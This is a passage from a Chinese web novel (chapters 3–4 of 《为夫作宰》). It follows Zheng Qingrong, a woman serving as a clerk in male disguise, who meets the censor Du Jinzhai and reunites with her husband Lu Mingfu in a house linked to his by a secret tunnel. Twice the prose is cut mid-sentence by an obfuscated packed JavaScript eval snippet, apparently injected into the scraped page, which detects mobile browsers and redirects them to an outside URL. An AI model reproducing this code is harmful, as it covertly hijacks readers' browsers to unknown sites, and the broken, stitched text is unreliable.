《为夫作宰》 3. 郑大人,久仰 郑清容不认识他,但习惯性地冲他递了递手里没分完的酥糖:“来一块吗?” 在扬州做佐史的时候她就很喜欢下衙后在街上游走,听百姓闲聊家长里短,时不时把自己随身带的东西和百姓分食而吃,几乎都成了一种习惯。 现在到了京城,这种习惯也被带了来。 郑清容打量着眼前的男子。 看他的样子,估计在那边看了好一会儿了。 这个时候出现在这里的,应该都是住在附近的人。 街坊邻居的,以后抬头不见低头见,分块糖吃也没什么。 男子被她的动作弄得愣了一瞬,反应过来是什么意思后没忍住一笑。 这是把他当成那些小孩子了吗? 又或者说是一种见者有份的意思? 这还是他生平第一次被这样不带任何利益色彩的真诚对待,一时觉得新鲜,也就没拒绝。 “邻友相邀,却之不恭。”说着,男子也不客气,迈步上前,当真从郑清容手里拿了一块酥糖。 郑清容听着这显得很是耳熟的话,再次确定了自己的猜想。 这人确实站在那里看了很久,至少在她和孩童们一起踢蹴鞠的时候就在了,要不然怎么会在这个时候特意说出之前她对孩子们说过的话。 “秦邮董糖。”男子拈着糖块,手指修长白皙,衬得手里的糖块也添了几分贵气,连带着整个动作看上去也极为优雅,不知道的还以为他是执棋待下,而不是拿着糖块评鉴。 糖还未入口,单是看了一眼就已经唤出了名字,显然是个识货的。 郑清容这么想着,男子已经看向她,再次一笑,行礼道:“原来是郑令史。” 竟是通过一块糖就能说出她的身份。 郑清容挑挑眉,对方能猜出她是谁并不奇怪。 毕竟她先前说了自己才搬来,而且男子一下子就认出她手里的酥糖是来自扬州的秦邮董糖,再结合这些天路上传的有关她的事,她自己都听了不下数十次,更别说在京城里的人,只怕早就知道她这个来自扬州的令史官近些日子就要入京了,很难不猜中。 “不知大人是?”郑清容拱手向他施礼。 对方已经猜到了她是谁,但她还不清楚对方的底细。 男子并没有穿戴官服,郑清容无法从穿着打扮上获取他的身份,不过单看这一身气度,不用想也知道官职不低。 然而是不是刑部的,那就得打个问号了。 男子很是和气,还了一个礼:“侍御史杜近斋。” 听到对方自报官职姓名,郑清容不由得多看了一眼杜近斋。 御史台的啊,还是正七品,这么年轻,看上去比陆明阜大不了几岁的样子。 果然,在皇城,大有可为。 而且一个七品官居然能向她一个流外官作揖行礼,礼贤下士如此,委实难得。 “见过杜大人!”郑清容再次施礼表示见过。 态度和之前并无两样,并没有因为得知杜近斋是侍御史而谄媚巴结,不过是多了几分真诚。 她这个人素来如此,旁人对她三分客气,她便会七分礼待,反之,要是有人怠慢无礼,她也会加倍还之。 她是什么态度,取决于对方是什么态度。 正七品的侍御史,郑清容在心里盘算着,自己要是入流,升到七品官大概要多久? 她现在是刑部司令史,上一级是刑部司主事,从八品,虽然不能上常朝参议,但也算是列入正式九品官员之中了,可以参加每月两次的朔望朝。 保守起见,先定下一个小目标,从不入流的令史迁转为刑部司主事。 杜近斋并不知道她在这么短的时间想了这么多,还定下了一个小目标,抬手止了她的虚礼,笑道:“郑大人有礼,早前便听说郑大人这几日要来京城,不承想会在此处遇见,久仰。” 他还以为这位扬州来的郑令史是个很严肃的人。 毕竟能把扬州治理到百姓交口称赞,甚至从淮南道传到当今圣上的耳中,这样的人合该是个铁面官,不怒自威那种,直到方才看见她和孩童们玩乐才知道自己先入为主了。 就照她方才和孩子妇人打交道的模样,也不怪扬州百姓会十里相送。 想到这里,杜近斋笑了笑。 郑清容入京当职的事本就备受关注,小小佐史能盖过刺史的风头,让全城百姓心悦诚服,简直前无古人,后无来者。 是以扬州城的百姓自发相送的事早就传开了,这几日京城不是在谈论被贬的陆状元,就是在说道这位被百姓高高捧起的郑令史。 他在御史台任职,自然少不了要接触这些。 不得不感叹扬州果然地灵人杰,今年出了一个新科状元不说,还闯出来一个深受百姓爱戴的佐史。 “杜大人年轻有为,幸会。”郑清容接得也快,这些官场上的客套她信手拈来。 她称他为大人是理所应当,但听到杜近斋称她为大人就让她有些意外了。 虽说她日后是在尚书省下的刑部刑部司任职,但归根到底只是个令史,并未入流走上仕途,相比杜近斋这等明经、进士出身的侍御史,还真算不上是什么大人。 不过看杜近斋的神情和动作,并没有任何嘲讽的意思,很是谦逊有礼。 郑清容想,这大概是个人修养。 就像师傅说的那样:在没有足够的话语权之前,别人尊重你不是因为你很优秀,而是因为别人很优秀。 “杜大人去过扬州?”郑清容没让话茬掉地上,感受到杜近斋的善意,便很自来熟地交谈。 能一眼认出她给他的酥糖是秦邮董糖,不是扬州人就是对扬州熟悉的人。 通过方才的几句简短交流,前者可以直接排除,那就只剩下后面那个可能了。 杜近斋颔首,做了个请的手势,示意她边走边说:“年少时曾在扬州听过几次侯微先生讲学,只是我比较愚笨,侯微先生教授的知识没怎么记,就只记得这一口秦邮董糖了。” 郑清容笑了笑,和他并肩而行。 侯微先生啊,那算起来他和陆明阜还是师出同门。 不过对于杜近斋自谦说自己愚笨这件事,她并不敢苟同,能在御史台任职的人,怎么可能愚笨? “原来杜大人是侯微先生的高足,失敬失敬。”郑清容道。 杜近斋摇摇头失笑:“谈不上什么高足,侯微先生大才,我不过是有幸听了先生几天讲学,皮毛也未曾学得,真要论高足,新科状元陆明阜才是,纵然此番被贬,但相信过不了多久,必能东山再起。” 郑清容被他这信誓旦旦的模样弄得有些不知所措,不由得开口询问:“杜大人就这般相信陆状元?还是说是相信侯微先生?” 侯微之前在朝中位居宰相,风头正盛之时不知道怎的突然就辞官了,四处游历,最后在扬州落足,当了个教书先生,开了个学堂教书育人。 即使侯微现在人已经不在朝堂,但侯相之风采依旧令人折服,提起他的名字,无人不钦佩。 “不,我相信你。”杜近斋忽然停下脚步,虽然是笑着看向她,但神色并不是在开玩笑。 他这一句颇有些没头没尾的,郑清容哈了一声,不清楚明明方才还好好地说着陆明阜和侯微,怎么话题突然就转到了自己身上。 虽然她进京有一部分原因是为了相救陆明阜,但这件事就只有她、师傅、陆明阜三人知道,杜近斋这个突然出现的人是怎么知道的? 她今日才和杜近斋搭上话,以前两个人都没见过,也没什么交集,他是从何得知的? 是陆明阜那边出什么事了吗?所以这才导致走漏了风声? 真要是这样,就有些棘手了。 没等郑清容想明白,杜近斋又开口解释道:“郑大人能单枪匹马从扬州走到京城,同为扬州人,陆状元想必也不差。” 听到他这样说,郑清容是想笑不能笑。 原来是这样,她还以为是哪个环节出了岔子,让自己暴露了。 有种意料之外,但又在情理之中的感觉。 “杜大人过奖。”郑清容再次拱手。 他闭口不谈陆明阜本人,反而说相信她一个刚来京城的令史,这般类比推定得出的结论,不是夸奖是什么? 在世人眼里,从千万人中拔得头筹的状元不知比一个未入流的令史厉害多少倍,结果到了杜近斋这里,就成了“也不差”,这不是夸奖又是什么? 杜近斋摆摆手,二人又走动起来:“并非过奖,实是郑大人做得好,该奖。” 从一州佐史到京城令史,调任时百姓十里相送,除了她,古今还真没人能做到,她也算是开先河了。 杜近斋试想了一下,要是他自己去做一州佐史,估计连她的千分之一也难达成。 “杜大人也住这里?”郑清容很自然地换了另一个话题。 这里说偏其实也不偏,但凭她对御史台那帮人的了解,住在这里怎么说也有些不太合适吧,有些脸面的官员大都选择住在京城繁华地段。 “郑大人不也住这里?”他没有直接回答,而是反问。 郑清容笑意更深。 她发现这位杜侍御史说话还挺有意思。 从开始到现在,无论说什么都是一副从容自如的模样,不叫人反感,反而多了几分好相处的亲切,看来也是个有趣的人呢。 反问过后,杜近斋抬手指了指胡同里的右手边第七家:“那儿,我家。” 郑清容看了看位置,月色浅淡,那里灯火昏暗,门口也没什么灯笼引路照明,看来家里除了他之外没什么人。 还真是巧了,左手边第七家就是她即将搬进去的地方。 二人又寒暄了几句,等到了家门口,杜近斋笑道:“郑大人一路舟车劳顿,不如进来喝杯茶水,也好让我答谢一糖之恩。” 这种客套话自然不能当真。 郑清容出言婉拒:“杜大人客气,今日天色已晚,下官还得去看看新住所有何需要添置,就不多叨扰了。” 杜近斋便也不再多言,向她道别,推开门顾自进了家去。 踏进门时还折过身冲她举了举手里的酥糖,道了声多谢。 郑清容看了看开了又关的门扉,又转头看了看陆明阜给自己事先安排的居所。 还真是面对面,门都是正对的,出门走上几步就能直接到对方家里去。 这套房子是陆明阜提前给她准备的,之前在二人来往的信中也说过,只是并没有提及杜近斋这个人。 也不知道是巧合,还是陆明阜有意为之。 当然,她更倾向于后者。 转身迈步,郑清容背着行囊迎着月色推门进去。 院落不大,但胜在该有的地方一个不少,还有些符合江南设计的小巧思。 纵然没怎么细看,但就这么粗略走一遍下来,郑清容还是挺满意的。 待进到正屋里去,借着月光映照,郑清容看见桌子旁坐了一个人。 夜色渐深,那人的目光却尤其明亮,几乎是见到郑清容的那一刻就毫不犹豫奔向了她。 郑清容刚伸出手,那人便携来一身风月,直接撞进她的怀里,用力将她抱住。 他的双手因为过分用力而青筋暴起,背脊也在轻微发颤,似乎很怕怀中的人会消失,头也紧紧埋在她肩侧,鼻息之间的热气随着他的每一次呼吸扑打在颈窝,或急或沉,失了以往的节奏,凌乱又戚戚然。 郑清容一句“别来无恙”硬生生堵在了喉咙里,转而侧头看他:“受委屈了?” 其实不用问也知道。 他的事早就传得沸沸扬扬,人尽皆知,好好一个状元郎,本该前途无量,结果风光了几天就丢了官职,到头来不过是昙花一现。 他一人在京城,也没个帮衬,在群狼环伺的朝堂之中孤立无援,确实受委屈了。 不知道是不是郑清容的错觉,总觉得她在说完这句话后脖颈处似乎有些滚烫的湿意,热气与湿意混合交织,颈窝里酥酥麻麻一片。 郑清容拍拍他的背,动作是哄孩子的,但语气却是郑重的。 “没事,我帮你讨回来。” 陆明阜摇了摇头,他当然不是这个意思。 他不委屈,就算受了天大的委屈,只要她来了,就不算什么了。 他只是在担心她。 为了做出假死的现象不惜跳崖,她有没有受伤? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054803|162865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他当时不在身边,没有亲眼见到她的情况,怎么可能安心? 从郑清容的肩头抬起头来,陆明阜欲盖弥彰地用袖子抹去遗留在她脖子上的泪渍,仔细打量着她:“你可还好?” 一开口,声音都带着他没有注意的轻颤和哽咽。 他忽然有些庆幸此刻屋子里没有点灯,这样她就不会看见自己此刻红着的眼。 郑清容自然注意到了他的小动作,指腹轻轻摩挲他的眼角,替他拭去眉睫残留的泪水。 眼泪还带着主人的温度,明明是温热的,但此刻落到指尖似乎能把她的手指灼烧出一个洞来。 “没事。”她道。 这是她进来后说的第二句没事,也不知道是在宽慰他还是回答他刚才的那句问话。 陆明阜虽然没指明是什么,但郑清容清楚他在问什么。 当时情况紧急,但确实是个千载难逢金蝉脱壳的好机会,她不想错过,于是没来得及和他说一声就跳崖假死了。 事后虽然去了封书信告诉他自己没事,但没见到人,他必然担忧。 想到这里,郑清容双手打平在他面前转了一圈,让他看得全乎些:“毫发无伤。” 为了把戏做足,她特意选了一个跳下去活不见人死不见尸的悬崖,虽然险了一些,但她习武之时去摸过几次底,对她来说算不上什么威胁。 确认她没有受伤,陆明阜总算松了一口气,帮她取下肩上的行囊,又去点了灯,屋内这才亮堂起来。 先前没有点灯,是怕引起旁人怀疑。 毕竟主人家还没到,屋子里怎么可能有灯火。 趁着点灯的空档,陆明阜小心将脸上的泪痕都擦干净,收拾好脸上的情绪。 等他转身回来之时,面上已经带上了笑容。 “饿了吧,我做了几个你喜欢的菜,趁热吃。”他将食盒里的饭菜一一摆出,招呼郑清容吃饭。 他竭力掩饰,但不过是掩耳盗铃,无论是睫羽上的湿润,还是眼底的泛红,都昭示着他刚刚无声哭过。 郑清容没有戳穿他,顾自坐去了桌边。 没有谁能拒绝长途跋涉后的一顿热腾腾的饭菜,郑清容早就闻到屋内的饭菜香了,还别说,这一路风餐露宿的,还真是饿了。 “知道你喝不来酒,我给你带了几盒绿杨春,今年新出的,记得在包袱里拿。” 屋子已经提前打扫过了,不见半分灰尘,家具和生活用品什么的,该添置的也已经提前置办好了,饭菜这么一放,还真多了几分寻常人家的烟火气。 陆明阜递了碗筷给她,又给她布了菜:“你人来了就好。” 饭菜是他掐着点做的,又做了保温措施,是以到现在都还是热的。 “别光顾着给我夹菜,你也坐下来一起吃。”郑清容拉他坐下,不让他再忙前忙后,给他递了碗筷,招呼他一起。 她也是许久没吃陆明阜做的饭菜了,还怪想念的。 郑清容顺势给他夹了一筷子肉,道:“你也多吃一些,瘦了。” 是真瘦了,先前两个人相拥的时候她就发觉了。 陆明阜虽是文人,但本身体质并不差,属于穿衣显瘦,脱衣有肉的那种,多一分则壮实少一分则纤弱,但就是这种恰到好处的体格,导致瘦了一星半点就会显得几分单薄。 在扬州十几年都没受过这种苦,来京城不到一个月就瘦了好些。 郑清容不由得想。 看来这京城不仅是面上这般光鲜亮丽,还会吃人呢。 “好,都听夫人的。”陆明阜含笑应下。 带着热气的饭菜入腹,行路的疲乏也一扫而空,浑身上下很是熨帖,郑清容毫不吝啬赞道:“明阜的厨艺当真是越来越好了。” 确实好,之前在扬州就是陆明阜就变着花样地做饭给她吃,现在到了京城没想到还能做出扬州的风味,甚至比之前更好,技艺见长。 陆明阜给她盛了一碗文思豆腐羹:“夫人喜欢就好。” 听到夫人这个称呼,郑清容笑了笑。 虽然她和陆明阜已经成婚有一段时间了,但她似乎还没进入角色,总觉得两个人之间的关系还和之前一样,没什么变化。 郑清容想,这大概就是因为她和陆明阜之间太熟了,以至于有没有夫妻这个名分都已经没那么重要了。 不过让她没想到的是,陆明貌似适应得还挺快,不仅快,还十分自然,就好像是一直在背后偷偷练习过一般,顺口得不行。 想起先前在胡同里遇到的杜近斋 ,郑清容开口问:“御史台的杜近斋住对面这件事你可知道?” 巧合?她并不信。 同一条胡同都住到一块去了,这不是巧,而是妖了。 朝中虽然忌讳结党营私,但私底下结党的人并不少。 瓜田李下的,这种住对面的官家就更引人注意了。 “是我有意安排的。”陆明阜点头,放下碗筷看向她,“夫人已经和他见过了吧,我想着夫人今后在刑部任职,将来免不了要和御史台、大理寺这些人打交道,便想着把居所安排在周围,日后行事也方便,只是大理寺和御史台的人大都住在繁华喧扰地段,也就只有杜近斋住的这里能讨一些清静,夫人今后要是出去处理一些特殊事情也不会被人轻易发现,我查过杜近斋此人的背景,出身寒门,但作为御史台台院副端,说话很有分量,将来对夫人或有大用,我便擅自做主把夫人的居所定在了这里。” 他并不否认这件事,将其中利弊和用意都尽数告知。 虽然之前已经在信中说起过会给她提前找好一处居所,但是当时还没有定下居所在哪里,也就没来得及说清里面这些个弯弯绕绕。 现在二人对面而坐,有些事便要打开天窗说亮话,他和她之间,从来不需要隐瞒。 郑清容挑挑眉,继续追问:“只是这样?” 被她看穿,陆明阜顿了顿,耳尖微红,起身行去了一堵墙面前,曲起手指在某块砖头上轻轻一按,墙面翻转,赫然呈现出一节地道,幽弱的光映照在壁上,一直蜿蜒不见深处。 “当然也有我的私心,夫人这里和我住的地方离得最近,我在底下开了一个密道,今后来往也方便。” 4. 夫人莫要轻薄于我 他倒是想和郑清容直接住到一起,就算住不到一块,像杜近斋这样面对面而居也是极好的。 只是他的身份特殊,周遭盯着的人不少,如今又遭逢贬斥,要是夫人挨着他,怕是会给她带来不少麻烦。 况且之前夫人在信中就说明了,今后在京城之中,人前她和他就装作不认识,人后该怎么样就怎么样。 毕竟夫人这个保守派所行的保守之事和他这个激进派所行的激进之事都太过凶险,她们都想保全彼此。 郑清容看了看地道,又看了看陆明阜,撑着脸歪头笑:“古有金屋藏娇,今有密道隐夫?” 或者说是明修栈道,暗度陈仓。 从她死遁到京城赴任,不过半个月的时间,这期间他被贬受限,却还能在这么短的时间选好居所,并且神不知鬼不觉地在底下开了一条连接她们二人住处的地道,不仅办事效率快,还周全。 “夫人可是觉得不妥?若是不合适我再另行安排。”陆明阜有些惴惴不安。 虽然杜近斋这件事说来说去都是为了她好,但到底没有事先和她商量,他怕她会不喜。 “明阜做得甚好,深得我心。”郑清容勾了勾唇。 确实做得很好,这样一来倒是省去了她不少事。 果然,京中有人办事就是方便。 她还想着陆明阜刚入京举目无亲难免束手束脚,被贬后又处处受制,没时间去了解和处理别的,不承想他连这些小事都想到了,甚至还专门去调查了御史台、大理寺那些官员,从中挑选出一个最为合适的人员作为切口。 侍御史杜近斋,按照方才短暂的接触来看,确实是个可交的,陆明阜选择他想必也是经过深思熟虑的。 至于瓜田李下什么的,她就没怕过,也不在乎。 当一个人的能力足够大,所有的怀疑便都成了空话,不攻自破。 就像在扬州一样。 见她当真不排斥这样的安排,陆明阜不由得一笑,转了话题:“这一路风尘仆仆,夫人辛苦了,我已经备下了热水,夫人沐浴一番也可去疲消乏。” 郑清容正嫌车马行路一身疲惫辛劳,这下倒好,瞌睡来了就有人送枕头。 “明阜有心了。”郑清容给了他一个赞赏的微笑。 若不是此刻身在京中,她真要以为她们还在扬州,毕竟目前的生活看起来和之前在扬州没什么区别。 在扬州时,每次办完公务回来她都能吃上陆明阜亲手做的饭菜,洗上一个热水澡,现在到了京城也是一样。 吃完饭休息了片刻,郑清容便带着陆明阜提前准备好的干净衣物沐浴去了。 等到她披着一头湿发出来,陆明阜也收拾好了碗筷,铺好了床褥。 这些事向来不需要她操心,陆明阜总是能操持得很好。 陆明阜引着她去榻上坐,顺带递给她几张写满字的纸,随后拿了巾帕给她绞头发:“这些是我目前为止了解到的刑部司内部情况,夫人看看可还有用?” 郑清容伸手接过,纸张不大,但上面的字很是清秀俊逸,如松如竹,风骨卓然。 虽然陆明阜嘴上说的是让她看看有没有用,但郑清容心里明白,他能拿出来的,必然是对她有用的。 她初来乍到,也确实需要提前了解一些刑部司的内部情况,她这个人可从来不打没准备的仗,除非这场仗处于生死存亡非打不可的阶段。 一目十行地看去,纸张一页接一页翻过,郑清容越看嘴角笑意越深,到现在她才算是知道今天分别时小吏为何会欲言又止。 这京城,可真是有意思,比扬州有意思太多了。 她已经能预见今后在刑部的日子会多么有趣了,京城这一趟还真是不白来。 目光扫到其中一个人名,郑清容若有所思:“这位胡令史从刑部司离开后就没有消息了?” 胡令史原本是刑部司的一个佐吏官,只是不知道为什么在刑部司待了不到一个月就请辞离开了,走得很是匆忙,很多东西都没带。 他一走刑部司的令史就空出来这么一个位子,恰逢皇帝听到她的光荣事迹,就把她给调过来了。 事关她的任职,陆明阜自然调查了来龙去脉,并着重写在了这些纸张上。 陆明阜也觉得这事有蹊跷,接话道:“胡令史这一走就像人间蒸发一样,没有任何他的消息,就连他老家的人也说没见过他回去。” 郑清容点点头,没再继续这个话题,但心里的疑惑并未减少。 一个人辞了官没回老家,反而下落不明,这不是有鬼是什么? 见她看得认真,陆明阜本不欲打扰,但想了想还是开口道:“其实不想今夜给夫人看的,但是知道夫人的性子,怎么也不可能把今日的事挪到明日去,不过夫人再怎么操心公务也要爱惜自己,夜深了,在灯下长久看字仔细伤眼。” 郑清容扭头看了一眼还在给她绞头发的陆明阜,心下知道他是为自己好,但还是想逗一逗他。 趁其不备倾身把人摁倒在榻上,郑清容顺势伏下,把手里的纸张塞到陆明阜手里,唇角微勾:“那明阜念给我听如何?” 她的动作很快,一连串行云流水的动作不过在眨眼间就完成。 陆明阜手里还拿着半湿的巾帕,突然被她这么一闹,头上用来绾发的玉簪因为突如其来的动作滑落至枕边,墨发散开,披了满肩满背。 二人青丝纠缠,烛火映照下对影成双。 陆明阜看着一错不错地凝着她,目光温柔,缱绻至极。 女子已经卸去了面上的易容,真容尽显,身上的清香萦绕在鼻尖,许是因为刚刚沐浴过,肤色透亮莹润,吹弹可破,以至于陆明阜都不敢碰,生怕碰碎了这丝绸般的肌理。 他是不敢碰,郑清容却敢。 手指从他的眉眼一路描摹,划过鼻,又划过唇,最后落到他上下滚动的喉结上。 动作轻缓,像是在欣赏一幅精致的美人图。 事实上,郑清容确实在欣赏。 不得不说,陆明阜长得很好看,面如冠玉,眉目如画,唇角微勾便是一幅江南好景。 饶是看了十几年,她也觉得这张脸还是很有看头。 也不怪皇帝要给他和安平公主赐婚,这么个清俊秀雅风姿卓然的状元郎,不管日后在朝堂有没有建树,放到身边看着也是极舒心的。 陆明阜捉住她的手,轻轻捏了捏,阻止了她不安分的动作,随后抚了抚她披散在肩头后背的青丝。 绸缎般的乌发已经差不多绞干了,这个时候睡下不会损伤身体。 给她拉了被子盖好,陆明阜又替她挡去有些刺眼的烛光:“好,夫人且阖眸休息,听我念来。” “嗯,你念,我听着。”郑清容笑着应他,却丝毫没有闭眼休息的意思。 其实她都已经看完一遍了,但是陆明阜的好意她也不会拒绝。 陆明阜简单扫了一眼,按照她递给自己的纸张顺序开始读起来。 他的声音温润如玉石相击,读来就像是在品一杯醇厚清洌的酒,很是悦耳动人,哪怕是读那些枯燥晦涩的经书典籍,也能让人听得进去。 郑清容看着他的一张唇翕张又闭合,具体说的什么没去注意听,只挑起修长的手指,细细摩挲着他的唇瓣。 要说陆明阜哪里最好看,必然得是他的唇。 耿耿银河勾勒出薄而立体的唇形,早春樱色汇成了深浅合适的唇色,这般得天独厚的唇,无论说什么都像是情话。 郑清容的手指一直流连在上面,时不时会因为他或开口或停顿的动作碰到他的唇舌。 陆明阜被她这么有意无意逗弄着,一张纸上的内容读得断断续续,刚想停下来制止这样磨人的触碰,不料这一停却正好含住了她的指尖。 他本该及时结束这样的不小心,可是当沁凉的指腹碰上舌尖,他反而鬼使神差地抿紧了,不舍得放开。 郑清容笑了一声,指尖恶趣味地一动,他的齿间便溢出细碎含糊的声音。 陆明阜一双眼湿漉漉地看着她,薄唇微动,眸底似有什么翻涌,脸上也渐渐烧了起来。 “夫人……” 郑清容一脸无辜,仿佛刚才做坏事的人不是她一样,指了指他手里的纸张:“继续。” 相比陆明阜此刻的脸红心跳,她更像是正经读书的那个。 陆明阜抿了抿唇,强制自己的目光从她脸上挪开,好半天才找到先前没读完的那句话,喉头咽了咽勉强重新接上。 只是没读两个字,郑清容忽然俯身,抚上他的脸亲了亲他的唇角。 很浅的一个吻,一触即分。 就像是微风拂过树梢,空中没留下什么痕迹,但是只有叶知道,风曾经来过。 再次被打断的陆明阜不自觉地摸了摸自己的唇,柔软的触感似乎还停留在上面,带着几许芬芳的甜。 这次手里的纸张怎么也读不下去了。 他微微起身,并不满足于刚才那个蜻蜓点水般的吻,想要继续,想要加深。 小别胜新婚,之前没见到还不觉得,现在人到了跟前,所有的思念便都涌上心头,催着他想要更多。 然而郑清容手指点了点他的唇瓣,不费什么力气便按下他的动作,笑着倒打一耙:“明阜啊,读书要专心。” 她很喜欢看他清明的瞳眸染上蒙蒙谷欠色,尤其是在夜色里,忽明忽暗,就像是一潭死水无风起波澜,涟漪叠覆,然后掀起惊涛骇浪,吞山噬海。 陆明阜握住她的手,近乎贪婪地吻了吻她的手指,闭上眼,尾音颤颤已带几分沙哑:“夫人莫要轻薄于我。” “若我偏要呢?”郑清容不但没收手,反而变本加厉地吻了吻他的下颌问。 在男女之事上,陆明阜一直都表现得很乖顺,当初他解衣褪裳跟她说试试的时候,也是把自己放到了予取予求的位置,无论她做什么他都不会拒绝,不仅不会拒绝,还会迎合她的所有,哪怕被欺负得狠了也不会喊疼阻止,只默默咬牙承受,也就只有被逗弄得受不了的时候才会向她索吻,企图用吻一吻、亲一亲这种接触来抚慰自己。 陆明阜喉头滚动得紧,再睁眼时已经引着她的手去拉低自己的领口。 烛光摇曳,修长的锁骨在灯光下若隐若现,犹如一截成色极好的暖玉,让人情不自禁想要去窥探这暖玉之下的内里品质。 “那便给夫人轻薄。” 郑清容轻笑,唇贴着他的下颌一路轻贴游走,从耳垂到脖颈,最后停留在他不住滚动的喉结处。 指尖探入他的衣襟,自他的锁骨处往下游走,圈圈点点,勾勾挑挑,游移落到心口上。 每深一分,便能感受到他的战栗更颤几分,就连头顶的呼吸也变得灼热粗重,在暗夜里尤为清晰。 “这样?”郑清容手下一重。 陆明阜闷哼一声,呼吸瞬间急促,语不成句:“夫人……夫人想怎么轻薄便怎么轻薄。” 他颊上飞红,眼神迷离不见清明之色,一副被人欺负狠了的模样。 郑清容顾自瞧了好一会儿:“旁人知道明阜还有这般动人的风情吗?” 扬州百姓评价陆明阜不外乎八个字——端方君子,雅人深致。 就连他的老师,侯微先生都说他是性如白玉烧犹冷,文似朱弦叩愈深。[1] 谁能想到白玉般的端方君子也有被胭脂春色尽数浸染的时候? “只给夫人一个人看。”陆明阜眸色渐晕,胸膛上下起伏得厉害,脖子上隐见青鼓的筋脉。 似乎是被他的回答愉悦到了,郑清容轻笑一声:“明阜这又是在用自己糊弄我们之间的争议?” 就像之前,每次和他说起保守和激进之争,他总是不争不辩不论不驳,只乖顺地解开衣裳讨好她。 现在他被皇帝贬斥在家思过,虽然口中半句不提这件事,但还是这般主动,她可不可以认为他这是对自己千里进京救夫的一种利益交换? 类似她让他官复原职,他便加倍用身体讨好她。 想到这里,郑清容没忍住笑了出来。 纵然她和陆明阜已经结为妻夫,但二人的派系之争还没得到解决。 明明一个保守派,一个激进派,两个派别天生对立,偏生这么多年二人之间的情分从来没出过什么问题,简直诡异。 “没有糊弄,我自愿的。”陆明阜将自己的脸颊贴近她的另一只手的掌心,眼尾因为方才的呼吸不畅而轻微泛红湿润,看上去竟有些可怜。 又是这个把戏,偏偏她就吃这套。 郑清容惩罚似地咬了他喉结一口,起身的同时已经帮他拉起散开大半的衣襟。 “我现在不想轻薄你了,我想听曲,你唱一首。” 被她碰过的地方犹如火烧火燎一般,要命的刺激中断,陆明阜握着她的手低喘了好一会儿不敢动,等到心口的酥麻稍微退去一些才沉着声线应她:“好。” 这一开口,嗓音哑得不像是他的。 郑清容管点不管灭,眉眼带笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15054804|162865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给他整理好身上的衣服。 怕他受不住,这次她也不动手动脚了,侧躺在榻上等着他缓过来。 好一会儿,熟悉的扬州小调才从头顶上传来,男声悠扬舒朗,许是气息还不太稳定的原因,听起来带着几分寻常没有的迷蒙韵味,更添一种优柔风情,婉转的曲调在他口中汇成了一幅水墨丹青,江南烟雨携着小桥流水入梦而来。 郑清容听着曲子,枕着睡枕寻了个舒服的位置闭上眼睛。 从扬州到京城,这些日子她不是在赶路就是在赶路的路上,如今吃了顿饱饭又洗了个舒服的热水澡,松弛下来很快便有了困意。 陆明阜在她耳边轻声唱着,待身旁的人传来清浅绵长的呼吸,他才收了声。 脖颈和脸颊上的热意退去不少,他看着身边人的睡颜,指腹不由自主抚上自己的唇角,似欣慰又似窃喜地回味先前那个一触即分的吻。 也不知是想到了什么,笑意一直绵延到了眼底,将一室暗夜都映衬得几分熠熠。 怕惊扰到郑清容,他小心翼翼地起身,将先前散落的纸张和巾帕收拾好,该处理的都处理掉,这才去吹灭了烛火,近乎依赖地凑到郑清容身旁,和她十指相扣,一同睡去。 第二日郑清容醒来时,枕边已经不见陆明阜的身影。 摸了摸床褥,已经没有了温度,想来是已经从地道回去了。 晚上来白天走,郑清容脑中忽然就冒出来“暗通款曲”这个词,不由得一笑。 两口子能过成这样的,估计也就只有她和陆明阜了。 她翻身下榻,结果脚还没沾地就看见陆明阜端着还冒着热气的早饭进来了。 郑清容不由得有些好笑:“你没回去?” 他还以为他走了,结果是起早做早饭去了。 晚上没人看见还好,可这大白天的他不在自己的住处也不怕引起旁人怀疑。 “那边我已经提前安排好了,不差做早饭的这点时间。”说着,陆明阜把饭食端去了桌上,示意她过来吃早饭,“刚出锅,过来尝尝可还合胃口。” 他之前高中状元,被点为六品翰林院待诏,纵然推拒了陛下的赐婚,但并没有因此获罪,加之家世清白又有文才,朝中少不了有人要结识他拉拢他。 后来得知他师从侯微,上门的人就更多了。 再后来,他因为反对翰林院学士沈松溪变法,被皇帝贬斥在家,处在这个风口浪尖上,一时间也没什么人敢上门了。 这倒是给了他机会。 郑清容点点头,表示明白了。 他说安排好了那就是万无一失,她相信他,就像他无条件信任自己一样。 正准备找鞋穿上,陆明阜已经拿了新的鞋袜过来:“新做的,你一天在外面行走的时间长,有一双不磨脚的鞋袜才好。” 说着,他已经蹲下身来,把郑清容的脚搭在自己膝头,将新鞋袜给她穿上。 动作轻柔,就像是在对待一件稀世珍宝。 郑清容女扮男装,为了不露破绽在细节方面尤其注意。 鞋子从来都是大几码不合脚的,之前只能在里面塞棉花,后面陆明阜给她改良了一下,直接就能穿上,外面看着还是男子应有的鞋子尺码大小。 只是这样对鞋子的磨损极大,几乎一个月不到就要换一双,有时候她都忙忘了这回事,陆明阜倒是替她记得清清楚楚。 “辛苦。”郑清容笑道。 陆明阜给她打理好脚上的事务,又取了早已备下的衣物给她穿上:“夫人跟我客气就是见外了。” 简单洗漱之后,二人才开始进食。 郑清容看着桌上有些不同寻常的清粥小菜和饭后甜点,不由得眼前一亮:“这是明阜新研究出来的菜谱?” 